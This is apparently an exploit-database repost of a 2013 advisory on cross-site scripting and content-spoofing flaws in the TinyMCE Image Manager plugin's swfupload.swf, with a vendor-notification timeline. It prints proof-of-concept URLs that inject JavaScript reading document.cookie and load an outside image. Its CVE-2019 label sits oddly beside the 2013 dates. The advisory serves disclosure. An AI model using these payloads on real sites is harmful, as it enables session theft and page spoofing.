TinyMCE Image Manager XSS and CS vulnerabilities

CVE	Category	Price	Severity
CVE-2019-6893	CWE-79	N/A	High

Author	Risk	Exploitation Type	Date
Egil	High	Remote	2013-07-14

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013070108

Below is a copy:

These are Cross-Site Scripting and Content Spoofing vulnerabilities in TinyMCE Image Manager plugin for TinyMCE. 

-------------------------
Affected products:
-------------------------

Vulnerable are TinyMCE Image Manager 1.1 and previous versions.

-------------------------
Affected vendors:
-------------------------

Dustweb
http://dustweb.ru/projects/tinymce_images/

----------
Details:
----------

Cross-Site Scripting (WASC-08):

http://site/path/images/js/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

http://site/path/images/js/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Content Spoofing (WASC-12):

http://site/path/images/js/swfupload/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E

http://site/path/images/js/swfupload/swfupload.swf?buttonImageURL=http://demo.swfupload.org/v220/images/logo.gif

------------
Timeline:
------------ 
2013.05.18 - announced at my site.
2013.05.18 - informed developer.
2013.07.12 - disclosed at my site (http://websecurity.com.ua/6517/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum